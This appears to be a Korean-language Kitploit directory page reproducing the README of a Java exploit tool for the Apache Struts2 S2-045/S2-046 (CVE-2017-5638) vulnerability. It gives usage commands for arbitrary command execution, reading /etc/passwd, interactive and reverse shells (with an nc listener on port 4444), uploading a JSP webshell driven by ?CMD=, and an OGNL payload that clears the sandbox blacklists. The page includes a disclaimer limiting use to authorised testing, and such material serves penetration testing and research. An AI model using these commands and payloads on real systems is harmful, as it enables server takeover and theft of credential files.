Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 탐지 및 익스플로잇 도구 | Kitploit
도구/GitHubGitHub/gu-007/struts2-tool
Vulnerability ScannersExploitationWeb Application ExploitationWeb SecurityPenetration TestingCommand and ControlRemote Access ToolPayload Development
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 탐지 및 익스플로잇 도구

저장소 보기
11320일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Struts2 취약점 탐지 및 활용 도구 (s2tool)

순수 Java로 구현된 Struts2 S2-045 / S2-046(CVE-2017-5638) 취약점 탐지 및 활용 도구입니다. 탐지 모듈은 S2-045 / S2-046 두 취약점을 포괄하며, 활용 모듈은 명령 실행, 파일 관리, 정보 획득, 대화형 Shell, 리버스 Shell, Webshell 업로드 등의 기능을 제공합니다.

면책 조항: 본 도구는 승인된 보안 테스트, 취약점 연구 및 교육 목적으로만 사용하십시오. 승인되지 않은 불법 용도로 사용하는 것을 엄격히 금지하며, 사용자는 모든 법적 책임을 스스로 부담해야 합니다.


기능 개요

모듈하위 명령설명
취약점 탐지scanS2-045 / S2-046 탐지(수학 검증 + UUID 핑거프린트 마킹)
대량 스캔batch여러 대상 대량 탐지, 요약 및 JSON 보고서 출력
명령 실행exec임의 시스템 명령 실행 + 출력 반환(Win/Linux 자동 대응)
대화형 Shellshell지속적 상호작용, cd 디렉터리 유지, pwd/webroot/os 내장 명령
파일 업로드uploadOGNL 직접 쓰기(소형 파일) / 명령 분할 쓰기(대형 파일)
파일 다운로드downloadBase64 인코딩 다운로드(바이너리 안전)
Web 루트 디렉터리getpathWeb 애플리케이션 물리적 배포 경로 획득
시스템 정보sysinfoOS / 사용자 / 커널 / 작업 디렉터리 정보
리버스 Shellrevshell원클릭 bash / PowerShell Shell 리버스
Webshell 업로드webshellJSP Webshell 생성 및 업로드(평문 ?CMD= 스타일)
보고서 내보내기scan -rJSON / HTML 보고서

다운로드 기능은 서버의 임의 파일(예: /etc/shadow)을 읽을 수 있으므로 승인된 테스트에서만 사용하십시오.


빠른 시작

환경 요구 사항

  • JDK 8 이상
  • Maven 3.x(빌드 시에만 필요, 도구 실행 시 Maven 설치 불필요)

빌드(Windows)

root@kitploit:~
:: 프로젝트 디렉터리에서 실행
.\build.bat

PowerShell에서는 .\ 접두사가 필요합니다. cmd에서는 build.bat로 직접 실행할 수 있습니다. build.bat는 빌드만 담당하며 네트워크 요청이나 스캔을 수행하지 않습니다. 빌드 완료 후 창이 열린 상태로 유지되며 cmd 세션이 시작됩니다(도구 명령을 직접 실행할 수 있으며 exit 입력 시 종료). 환경에서 Maven 기본 저장소에 쓸 수 없는 경우 환경 변수 M2_REPO를 쓰기 가능한 디렉터리로 먼저 설정하십시오.

산출물: target\s2tool.jar(fat-jar).

Linux/Mac은 build.sh 참조

사용 예시

root@kitploit:~
# 1. 취약점 탐지
java -jar s2tool.jar scan http://target/action

# 2. 탐지 + JSON/HTML 보고서 내보내기
java -jar s2tool.jar scan http://target/action -r both

# 3. 명령 실행
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. 대화형 Shell
java -jar s2tool.jar shell http://target/action

# 5. Web 루트 디렉터리 / 시스템 정보 획득
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. 파일 업로드 / 다운로드
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. 원클릭 Webshell 업로드(평문 ?CMD= 스타일)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# 접속: http://target/shell.jsp?CMD=whoami

# 8. 리버스 Shell(공격기에서 먼저 리슨: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. 대량 스캔
java -jar s2tool.jar batch targets.txt -r json

대량 대상 파일 형식

root@kitploit:~
# 주석 줄은 #으로 시작(자동 무시)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

기술 원리

S2-045 / S2-046(CVE-2017-5638)

공식 공지의 버전 범위(두 취약점 모두 Apache 공식 공지를 기준으로 하며, 사용자가 대상의 영향 여부를 평가할 때 참고용):

취약점CVE영향받는 버전(취약한 버전)수정 버전(패치 적용 버전)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31, 2.5 ~ 2.5.102.3.32 또는 2.5.10.1 이상
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31, 2.5 ~ 2.5.102.3.32 또는 2.5.10.1 이상

본 도구는 버전 번호 판단에 의존하지 않으며, Payload 탐지 결과를 통해 취약점 존재 여부를 직접 판정합니다. 버전 식별은 신뢰할 수 없기 때문입니다(많은 사이트가 버전 번호를 숨김). 위 표는 수동 평가 시 참고용일 뿐, 도구 탐지 로직에는 영향을 미치지 않습니다.

S2-046의 경우 도구는 filename 널 바이트 주입과 Content-Type 동일 근본 원인 두 가지 탐지 경로를 모두 지원합니다.

취약점 원리:

  • 트리거 지점 동일: Jakarta Multipart 파서가 예외를 처리할 때 사용자 제어 가능한 요청 헤더 내용 (S2-045: Content-Type; S2-046: Content-Disposition의 filename)을 예외 메시지에 연결하며, 예외 메시지는 Struts2 국제화 텍스트 처리 흐름(TextParseUtil.translateVariables)을 거쳐 OGNL 평가됩니다.
  • 활용 방식 상이: S2-045는 비정상 Content-Type으로 트리거; S2-046은 filename 널 바이트 (commons-fileupload 1.3.3+ 필요) 또는 초대형 Content-Length(jakarta-stream 구성 필요)로 트리거

샌드박스 우회

root@kitploit:~
(#nike='multipart/form-data')                       // Content-Type 위장, contains 검사 통과
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // 최고 권한 MemberAccess 획득
(#_memberAccess?(#_memberAccess=#dm):               // 낮은 버전: 직접 교체
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // 패키지명 블랙리스트 비우기
   (#ognlUtil.getExcludedClasses().clear())          // 클래스 블랙리스트 비우기
   (#context.setMemberAccess(#dm))))                 // 높은 버전: 블랙리스트 비운 후 교체

실측 결과: Struts2 2.3.30에서 축약 버전(setMemberAccess만)은 샌드박스를 우회할 수 없으며, 반드시 전체 버전(OgnlUtil 블랙리스트 비우기 경로 포함)을 사용해야 합니다.

탐지 전략

기술원리설명
수학 연산 검증OGNL 실행 88888888-23333+1222, 응답에 88866777 포함 시 존재공개 POC 수식
UUID 핑거프린트 마킹임의 UUID 주입 후 응답 본문에 반영고정밀, 네트워크 지연 영향 없음
지연 탐지Thread.sleep(6000) 시간 차이(S2-045 무출력 폴백 전용)임계값 >3.6s

판정 규칙: 수학 검증 또는 핑거프린트 마킹 중 하나라도 적중 → 존재 확인; 지연만 적중 → 존재 의심; 모두 미적중 → 존재하지 않음.


프로젝트 구조

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # Maven 빌드(shade 패키징 fat-jar)
├── build.bat / build.sh           # 빌드 스크립트(Windows 검증 완료 / Linux 참조)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # 메인 진입점(Picocli CLI)
│   ├── core/                      # 핵심 엔진: HTTP 클라이언트 / Payload 구성 / 응답 분석 / 대상 파싱
│   ├── plugins/                   # 취약점 플러그인 아키텍처(확장 포인트)
│   │   └── impl/                  #   S2_045 / S2_046 탐지 플러그인
│   ├── modules/                   # 기능 모듈: 탐지 스케줄링 / 핑거프린트 식별 / 명령 실행 / 파일 관리 / Shell 등
│   ├── report/                    # 보고서 생성(콘솔 / JSON / HTML)
│   └── utils/                     # 로그 도구
├── src/main/resources/            # 로그 구성 / Payload 참조
└── src/test/                      # JUnit 단위 테스트

참고 자료

취약점 원리 및 기술 문서:

  • Apache Struts S2-045 공식 공지 (CVE-2017-5638)
  • S2-045 OGNL 주입 및 3중 샌드박스 우회 분석(텐센트 클라우드 개발자 커뮤니티)(Payload 참조)
  • S2-046 취약점 원리 분석(안전커)

참조한 오픈소스 프로젝트(본 프로젝트 개발 시 다음 저장소의 아이디어와 Payload를 참조):

  • Flyteas/Struts2-045-Exp —— 명령 실행 / Web 루트 디렉터리 획득 / JSP 파일 쓰기 Payload 템플릿
  • Z-0ne/ScanS2-045-Nmap —— 대량 탐지 아이디어, 응답 특징 마킹 방식
  • abc123info/Struts2VulsScanTools —— 다중 취약점 탐지 도구의 전체 설계 아이디어(탐지와 활용 분리)

License

승인된 보안 테스트 및 학습 연구 목적으로만 사용하십시오.

승인되지 않은 불법 용도로 사용하는 것을 엄격히 금지하며, 사용자는 모든 법적 책임을 스스로 부담해야 합니다.

도구 다운로드